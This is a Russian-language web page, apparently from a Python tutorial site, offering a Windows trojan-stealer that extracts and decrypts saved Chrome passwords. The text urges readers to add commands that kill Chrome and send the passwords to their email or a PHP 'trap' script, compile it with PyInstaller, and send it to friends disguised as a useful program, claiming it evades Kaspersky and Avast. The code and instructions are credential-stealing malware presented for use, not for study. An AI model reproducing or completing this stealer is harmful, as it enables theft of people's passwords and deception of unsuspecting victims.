Вирус на Python

Вирус на Python

Модифицировав данный скрипт вы сможете написать простой троян-стилер на Python под Windows. Данный кусочек кода просто вытаскивает пароли из Chrome. Чтобы сделать его боевым, вам нужно добавить команду, которая убьет процесс хрома для того чтобы он не мешал грабить пароли. После этого добавьте команды отсылающие пароли вам на почту или на php скрипт - ловушку для данных, которую расположите на любом бесплатном php хостинге. Скомпилируйте скрипт с помощью PyInstaller и можете посылать друзьям полезную программу. Антивирусами не палится, проверял на Каспере и Авасте.

# установите pywin32 чтобы все работало
import os
import requests
from sys import exit
import sqlite3
from win32crypt import CryptUnprotectData
import argparse

print('Убедитесь что вы закрыли браузер Chrome...')
print('Ждем некоторое время...')

# Вычисляем папку куда установлен Chrome в Windows

def chromepath():
    PathName = os.getenv('localappdata') + '\\Google\\Chrome\\User Data\\Default\\'
    if (os.path.isdir(PathName) == False):
        exit(0)
    return PathName  


# Грабим базу данных с сохраненными паролями
def grub():
    secret = []
    path = chromepath()
    try:
        connection = sqlite3.connect(path + "Login Data")
        with connection:
            cursor = connection.cursor()
            v = cursor.execute('SELECT action_url, username_value, password_value FROM logins')
            value = v.fetchall()

        for i in value:
            password = CryptUnprotectData(i[2], None, None, None, 0)[1]
            if password:
                secret.append({
                    '1': i[0],
                    '2': i[1],
                    '3': str(password)
                })
                    
    except sqlite3.OperationalError as e:
            if (str(e) == 'database is locked'):
                print('Вы должны выключить Chrome прежде чем запускать скрипт')
                input()
                exit(0)
               
            else:
                exit(0)
    if secret == []:
    	pass
    else:          
    	return secret          

# Показываем пароли на экране (вы можете послать их себе на почту или на скрипт php - ловушку для данных)
for data in grub():
    for x in data.values():
        print(x)

print("Пароли извлечены, нажмите Enter")
input()

Вирус на Python Лого Pythono.ru Вирус на Python